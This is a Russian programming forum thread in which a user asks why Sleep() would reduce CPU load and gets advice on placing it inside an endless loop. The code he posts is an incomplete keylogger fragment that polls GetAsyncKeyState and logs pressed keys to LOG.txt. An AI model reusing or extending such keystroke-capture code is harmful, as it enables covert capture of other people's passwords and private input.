Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > Общие вопросы C/C++
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 20.03.2017, 14:11   #1
kyle16
Форумчанин
 
Регистрация: 18.12.2015
Сообщений: 141
По умолчанию Что дает Sleep()?

У меня программа сжирает всю память процессора. Посоветовали дописать Sleep(20) перед циклом. Но я не понимаю, что это может дать? Кто знает-напишите, пожалуйста.
kyle16 вне форума Ответить с цитированием
Старый 20.03.2017, 14:13   #2
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,695
По умолчанию

1. Не память проца, а время
2. Не перед циклом, а внутри
3. Может и Sleep(0) помочь

Что даст? Даст ОС возможность давать кванты процессорного времени и другим задачам.
p51x вне форума Ответить с цитированием
Старый 20.03.2017, 14:27   #3
kyle16
Форумчанин
 
Регистрация: 18.12.2015
Сообщений: 141
По умолчанию

Почему не перед циклом?
Вот отрывок кода с циклами
Куда тут его вставлять
Код:
int Save (int key_stroke, char *file);
int main() 
{
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); 
}

}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{

if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

Посоветовали перед for(i = 8; i <= 190; i++)

Последний раз редактировалось Аватар; 20.03.2017 в 14:29.
kyle16 вне форума Ответить с цитированием
Старый 20.03.2017, 14:51   #4
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,695
По умолчанию

Правильно посоветовали. Я говорил про вечный цикл, который while(1) в него надо.
p51x вне форума Ответить с цитированием
Старый 20.03.2017, 15:08   #5
kyle16
Форумчанин
 
Регистрация: 18.12.2015
Сообщений: 141
По умолчанию

Вот, надеюсь правильно прописал
while (1)
{
Sleep(20); for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}


Но в итоге всего лишь на 2% меньше грузит, чем без Sleep()
О чем это говорит?
kyle16 вне форума Ответить с цитированием
Старый 20.03.2017, 22:04   #6
kyle16
Форумчанин
 
Регистрация: 18.12.2015
Сообщений: 141
По умолчанию

Ответа не будет?
kyle16 вне форума Ответить с цитированием
Старый 20.03.2017, 22:19   #7
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,695
По умолчанию

Какой ответ вы ждете? Вы в уикле практически ничего не делаете, кроме хавания проца...
p51x вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Sleep - что внутри? 7in Win Api 19 19.09.2016 16:31
Не дает выключить форму FleXik Общие вопросы Delphi 25 09.06.2014 13:33
Что то не дает забиндить порты Abuhamed Windows 2 03.10.2013 00:14
формула дает ошибку WIC Microsoft Office Excel 3 01.12.2010 20:51
Что дает лицензия? misher Свободное общение 52 13.08.2010 21:20